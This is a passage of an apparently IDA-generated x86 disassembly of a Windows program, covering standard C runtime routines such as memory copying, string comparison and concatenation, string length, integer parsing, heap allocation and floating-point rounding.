loc_4156CC ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4156D4: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4156DC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4156E4: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4156EC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4156F4: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4156FC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41570F: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0:off_4156ACo jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 4 off_415718 dd offset loc_415728 ; DATA XREF: sub_4155D0+35r ; sub_4155D0+92r ... dd offset loc_415730 dd offset loc_41573C dd offset loc_415750 ; --------------------------------------------------------------------------- loc_415728: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415730: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41573C: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415750: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415768: ; CODE XREF: sub_4155D0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41579C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415790: ; CODE XREF: sub_4155D0+1B1j ; sub_4155D0+208j ... neg ecx jmp off_415860[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41579C: ; CODE XREF: sub_4155D0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4157B4 and eax, 3 sub ecx, eax jmp dword ptr loc_4157B4+4[eax*4] ; --------------------------------------------------------------------------- loc_4157B4: ; CODE XREF: sub_4155D0+1D6j ; DATA XREF: sub_4155D0+1DDr jmp off_4158B0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4157C7+1 dd offset loc_4157E8 ; --------------------------------------------------------------------------- adc [eax+41h], bl loc_4157C7: ; DATA XREF: sub_4155D0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4157E8: ; DATA XREF: sub_4155D0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415864 dd offset loc_41586C dd offset loc_415874 dd offset loc_41587C dd offset loc_415884 dd offset loc_41588C dd offset loc_415894 off_415860 dd offset loc_4158A7 ; DATA XREF: sub_4155D0+1C2r ; --------------------------------------------------------------------------- loc_415864: ; DATA XREF: sub_4155D0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41586C: ; DATA XREF: sub_4155D0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_415874: ; DATA XREF: sub_4155D0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41587C: ; DATA XREF: sub_4155D0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_415884: ; DATA XREF: sub_4155D0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41588C: ; DATA XREF: sub_4155D0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_415894: ; DATA XREF: sub_4155D0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4158A7: ; CODE XREF: sub_4155D0+1C2j ; DATA XREF: sub_4155D0:off_415860o jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4158B0 dd offset loc_4158C0 ; DATA XREF: sub_4155D0+1B7r ; sub_4155D0:loc_4157B4r ... dd offset loc_4158C8 dd offset loc_4158D8 dd offset loc_4158EC ; --------------------------------------------------------------------------- loc_4158C0: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158C8: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158D8: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158EC: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4155D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_4010B2+FCp ; sub_4010B2+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41595C loc_415920: ; CODE XREF: sub_415910+3Cj ; sub_415910+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_415954 or al, al jz short loc_415950 cmp ah, [ecx+1] jnz short loc_415954 or ah, ah jz short loc_415950 shr eax, 10h cmp al, [ecx+2] jnz short loc_415954 or al, al jz short loc_415950 cmp ah, [ecx+3] jnz short loc_415954 add ecx, 4 add edx, 4 or ah, ah jnz short loc_415920 mov edi, edi loc_415950: ; CODE XREF: sub_415910+18j ; sub_415910+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_415954: ; CODE XREF: sub_415910+14j ; sub_415910+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41595C: ; CODE XREF: sub_415910+Ej test edx, 1 jz short loc_415978 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_415954 inc ecx or al, al jz short loc_415950 test edx, 2 jz short loc_415920 loc_415978: ; CODE XREF: sub_415910+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_415954 or al, al jz short loc_415950 cmp ah, [ecx+1] jnz short loc_415954 or ah, ah jz short loc_415950 add ecx, 2 jmp short loc_415920 sub_415910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4159A0 proc near ; CODE XREF: sub_4010B2+19Ep ; sub_4018CA+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4159B9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4159B9: ; CODE XREF: sub_4159A0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4159A0 endp ; =============== S U B R O U T I N E ======================================= sub_4159D4 proc near ; CODE XREF: sub_415A5F+4p ; sub_41E162+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4159DC: ; CODE XREF: sub_4159D4+34j cmp dword_437F9C, 1 jle short loc_4159F4 movzx eax, byte ptr [edi] push 8 push eax call sub_418556 pop ecx pop ecx jmp short loc_415A03 ; --------------------------------------------------------------------------- loc_4159F4: ; CODE XREF: sub_4159D4+Fj movzx eax, byte ptr [edi] mov ecx, off_437D90 mov al, [ecx+eax*2] and eax, 8 loc_415A03: ; CODE XREF: sub_4159D4+1Ej test eax, eax jz short loc_415A0A inc edi jmp short loc_4159DC ; --------------------------------------------------------------------------- loc_415A0A: ; CODE XREF: sub_4159D4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_415A1A cmp esi, 2Bh jnz short loc_415A1E loc_415A1A: ; CODE XREF: sub_4159D4+3Fj movzx esi, byte ptr [edi] inc edi loc_415A1E: ; CODE XREF: sub_4159D4+44j xor ebx, ebx loc_415A20: ; CODE XREF: sub_4159D4+7Bj cmp dword_437F9C, 1 jle short loc_415A35 push 4 push esi call sub_418556 pop ecx pop ecx jmp short loc_415A40 ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_4159D4+53j mov eax, off_437D90 mov al, [eax+esi*2] and eax, 4 loc_415A40: ; CODE XREF: sub_4159D4+5Fj test eax, eax jz short loc_415A51 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_415A20 ; --------------------------------------------------------------------------- loc_415A51: ; CODE XREF: sub_4159D4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_415A5A neg eax loc_415A5A: ; CODE XREF: sub_4159D4+82j pop edi pop esi pop ebp pop ebx retn sub_4159D4 endp ; =============== S U B R O U T I N E ======================================= sub_415A5F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4159D4 pop ecx retn sub_415A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A6A proc near ; CODE XREF: sub_401447+318p ; sub_401BD6+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_417D4C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415AA9 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415AB6 ; --------------------------------------------------------------------------- loc_415AA9: ; CODE XREF: sub_415A6A+35j lea eax, [ebp+var_20] push eax push 0 call sub_417C37 pop ecx pop ecx loc_415AB6: ; CODE XREF: sub_415A6A+3Dj mov eax, esi pop esi leave retn sub_415A6A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415AC0 proc near ; CODE XREF: sub_401BD6+2D8p ; sub_401BD6+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_415B3A mov dh, [ecx+1] test dh, dh jz short loc_415B27 loc_415AD8: ; CODE XREF: sub_415AC0+52j ; sub_415AC0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_415AFA test al, al jz short loc_415AF4 loc_415AE9: ; CODE XREF: sub_415AC0+32j mov al, [esi] inc esi loc_415AEC: ; CODE XREF: sub_415AC0+3Fj cmp al, dl jz short loc_415AFA test al, al jnz short loc_415AE9 loc_415AF4: ; CODE XREF: sub_415AC0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_415AFA: ; CODE XREF: sub_415AC0+23j ; sub_415AC0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_415AEC lea edi, [esi-1] loc_415B04: ; CODE XREF: sub_415AC0+63j mov ah, [ecx+2] test ah, ah jz short loc_415B33 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_415AD8 mov al, [ecx+3] test al, al jz short loc_415B33 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_415B04 jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B27: ; CODE XREF: sub_415AC0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_417086 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415AC0+49j ; sub_415AC0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_415B3A: ; CODE XREF: sub_415AC0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_415AC0 endp ; =============== S U B R O U T I N E ======================================= sub_415B40 proc near ; CODE XREF: sub_40211A+94p ; sub_405A89+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_415B55 or eax, 0FFFFFFFFh jmp short loc_415B8F ; --------------------------------------------------------------------------- loc_415B55: ; CODE XREF: sub_415B40+Ej test al, 83h jz short loc_415B8D push esi call sub_4186E4 push esi mov edi, eax call sub_41867E push dword ptr [esi+10h] call sub_4185CB add esp, 0Ch test eax, eax jge short loc_415B7B or edi, 0FFFFFFFFh jmp short loc_415B8D ; --------------------------------------------------------------------------- loc_415B7B: ; CODE XREF: sub_415B40+34j mov eax, [esi+1Ch] test eax, eax jz short loc_415B8D push eax call sub_415E3D and dword ptr [esi+1Ch], 0 pop ecx loc_415B8D: ; CODE XREF: sub_415B40+17j ; sub_415B40+39j ... mov eax, edi loc_415B8F: ; CODE XREF: sub_415B40+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_415B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B96 proc near ; CODE XREF: sub_40211A+8Ep ; sub_40CE55+2A01p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4187B6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_417D4C push [ebp+arg_0] mov edi, eax push esi call sub_418843 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_415B96 endp ; =============== S U B R O U T I N E ======================================= sub_415BC8 proc near ; CODE XREF: sub_415BE8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4189F0 test eax, eax jnz short loc_415BD2 retn ; --------------------------------------------------------------------------- loc_415BD2: ; CODE XREF: sub_415BC8+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418880 add esp, 10h retn sub_415BC8 endp ; =============== S U B R O U T I N E ======================================= sub_415BE8 proc near ; CODE XREF: sub_40211A+54p ; sub_405A89+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_415BC8 add esp, 0Ch retn sub_415BE8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415C00 proc near ; CODE XREF: sub_405B23+2BFp ; sub_4099AA+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_415C71 sub_415C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415C10 proc near ; CODE XREF: sub_40211A+32p ; sub_40211A+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_415C2C loc_415C1D: ; CODE XREF: sub_415C10+1Aj mov al, [ecx] inc ecx test al, al jz short loc_415C5F test ecx, 3 jnz short loc_415C1D loc_415C2C: ; CODE XREF: sub_415C10+Bj ; sub_415C10+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415C2C mov eax, [ecx-4] test al, al jz short loc_415C6E test ah, ah jz short loc_415C69 test eax, 0FF0000h jz short loc_415C64 test eax, 0FF000000h jz short loc_415C5F jmp short loc_415C2C ; --------------------------------------------------------------------------- loc_415C5F: ; CODE XREF: sub_415C10+12j ; sub_415C10+4Bj lea edi, [ecx-1] jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415C64: ; CODE XREF: sub_415C10+44j lea edi, [ecx-2] jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415C69: ; CODE XREF: sub_415C10+3Dj lea edi, [ecx-3] jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415C6E: ; CODE XREF: sub_415C10+39j lea edi, [ecx-4] loc_415C71: ; CODE XREF: sub_415C00+5j ; sub_415C10+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_415C96 loc_415C7D: ; CODE XREF: sub_415C10+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_415CE8 mov [edi], dl inc edi test ecx, 3 jnz short loc_415C7D jmp short loc_415C96 ; --------------------------------------------------------------------------- loc_415C91: ; CODE XREF: sub_415C10+9Ej ; sub_415C10+B8j mov [edi], edx add edi, 4 loc_415C96: ; CODE XREF: sub_415C10+6Bj ; sub_415C10+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_415C91 test dl, dl jz short loc_415CE8 test dh, dh jz short loc_415CDF test edx, 0FF0000h jz short loc_415CD2 test edx, 0FF000000h jz short loc_415CCA jmp short loc_415C91 ; --------------------------------------------------------------------------- loc_415CCA: ; CODE XREF: sub_415C10+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CD2: ; CODE XREF: sub_415C10+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_415CDF: ; CODE XREF: sub_415C10+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CE8: ; CODE XREF: sub_415C10+72j ; sub_415C10+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_415C10 endp ; =============== S U B R O U T I N E ======================================= sub_415CF0 proc near ; CODE XREF: sub_4021FB+1A7p ; sub_4021FB:loc_4023B5p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_415D10 loc_415CFC: ; CODE XREF: sub_415CF0+19j mov al, [ecx] inc ecx test al, al jz short loc_415D43 test ecx, 3 jnz short loc_415CFC add eax, 0 loc_415D10: ; CODE XREF: sub_415CF0+Aj ; sub_415CF0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415D10 mov eax, [ecx-4] test al, al jz short loc_415D61 test ah, ah jz short loc_415D57 test eax, 0FF0000h jz short loc_415D4D test eax, 0FF000000h jz short loc_415D43 jmp short loc_415D10 ; --------------------------------------------------------------------------- loc_415D43: ; CODE XREF: sub_415CF0+11j ; sub_415CF0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D4D: ; CODE XREF: sub_415CF0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D57: ; CODE XREF: sub_415CF0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D61: ; CODE XREF: sub_415CF0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_415CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_4024DC+8p ; sub_402988+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_415D90 loc_415D7C: ; CODE XREF: sub_415D70+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_415D7C loc_415D90: ; CODE XREF: sub_415D70+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_415D70 endp ; =============== S U B R O U T I N E ======================================= sub_415D9F proc near ; CODE XREF: sub_402FDD+7Ap ; sub_402FDD+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_415DB3 loc_415DAB: ; CODE XREF: sub_415D9F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_415DAB loc_415DB3: ; CODE XREF: sub_415D9F+Aj mov edx, [esp+arg_4] push esi loc_415DB8: ; CODE XREF: sub_415D9F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_415DB8 pop esi retn sub_415D9F endp ; =============== S U B R O U T I N E ======================================= sub_415DC9 proc near ; CODE XREF: sub_403178+220p ; sub_4033CB+C1p ... arg_0 = dword ptr 4 push dword_469514 push [esp+4+arg_0] call sub_415DDB pop ecx pop ecx retn sub_415DC9 endp ; =============== S U B R O U T I N E ======================================= sub_415DDB proc near ; CODE XREF: sub_415DC9+Ap ; sub_4167C5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_415E04 loc_415DE2: ; CODE XREF: sub_415DDB+27j push [esp+arg_0] call sub_415E07 test eax, eax pop ecx jnz short locret_415E06 cmp [esp+arg_4], eax jz short locret_415E06 push [esp+arg_0] call sub_418A68 test eax, eax pop ecx jnz short loc_415DE2 loc_415E04: ; CODE XREF: sub_415DDB+5j xor eax, eax locret_415E06: ; CODE XREF: sub_415DDB+13j ; sub_415DDB+19j retn sub_415DDB endp ; =============== S U B R O U T I N E ======================================= sub_415E07 proc near ; CODE XREF: sub_415DDB+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_437FAC ja short loc_415E1F push esi call sub_418E53 test eax, eax pop ecx jnz short loc_415E3B loc_415E1F: ; CODE XREF: sub_415E07+Bj test esi, esi jnz short loc_415E26 push 1 pop esi loc_415E26: ; CODE XREF: sub_415E07+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_46AB20 call dword_42114C loc_415E3B: ; CODE XREF: sub_415E07+16j pop esi retn sub_415E07 endp ; =============== S U B R O U T I N E ======================================= sub_415E3D proc near ; CODE XREF: sub_4033CB+10Ep ; sub_4033CB+116p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_415E6A push esi call sub_418AFD pop ecx test eax, eax push esi jz short loc_415E5C push eax call sub_418B28 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_415E5C: ; CODE XREF: sub_415E3D+13j push 0 push dword_46AB20 call dword_421150 loc_415E6A: ; CODE XREF: sub_415E3D+7j pop esi retn sub_415E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415E6C(double) sub_415E6C proc near ; CODE XREF: sub_40465E+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437D50 call sub_419E26 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415EF2 call sub_419CEE pop ecx test eax, eax pop ecx jle short loc_415ED5 cmp eax, 2 jle short loc_415EC7 cmp eax, 3 jnz short loc_415ED5 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_4195FE add esp, 10h jmp short loc_415F37 ; --------------------------------------------------------------------------- loc_415EC7: ; CODE XREF: sub_415E6C+3Fj push esi push ebx call sub_419E26 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415F37 ; --------------------------------------------------------------------------- loc_415ED5: ; CODE XREF: sub_415E6C+3Aj ; sub_415E6C+44j fld [ebp+arg_0] fadd dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_415F2F ; --------------------------------------------------------------------------- loc_415EF2: ; CODE XREF: sub_415E6C+2Fj call sub_419CB3 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415F15 loc_415F07: ; CODE XREF: sub_415E6C+ACj push esi push ebx call sub_419E26 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415F37 ; --------------------------------------------------------------------------- loc_415F15: ; CODE XREF: sub_415E6C+99j test bl, 20h jnz short loc_415F07 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_415F2F: ; CODE XREF: sub_415E6C+84j call sub_419651 add esp, 1Ch loc_415F37: ; CODE XREF: sub_415E6C+59j ; sub_415E6C+67j ... pop esi pop ebx leave retn sub_415E6C endp ; =============== S U B R O U T I N E ======================================= sub_415F3B proc near ; CODE XREF: sub_4177FA+9p ; sub_419EEF+21p ; DATA XREF: ... call sub_415F53 call sub_419EEF mov dword_469494, eax call sub_419E9F fnclex retn sub_415F3B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_415F53 proc near ; CODE XREF: sub_415F3Bp mov eax, offset sub_41A2DD mov off_4380CC, offset loc_419F72 mov off_4380C8, eax mov off_4380D0, offset sub_419FD8 mov off_4380D4, offset sub_419F18 mov off_4380D8, offset loc_419FC0 mov off_4380DC, eax retn sub_415F53 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F8C proc near ; CODE XREF: sub_40465E+1Bp ; sub_40465E+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_415F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415FB3(double) sub_415FB3 proc near ; CODE XREF: sub_4046AA+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437D68 call sub_419E26 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_416039 call sub_419CEE pop ecx test eax, eax pop ecx jle short loc_41601C cmp eax, 2 jle short loc_41600E cmp eax, 3 jnz short loc_41601C fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_4195FE add esp, 10h jmp short loc_41607E ; --------------------------------------------------------------------------- loc_41600E: ; CODE XREF: sub_415FB3+3Fj push esi push ebx call sub_419E26 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41607E ; --------------------------------------------------------------------------- loc_41601C: ; CODE XREF: sub_415FB3+3Aj ; sub_415FB3+44j fld [ebp+arg_0] fadd dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp 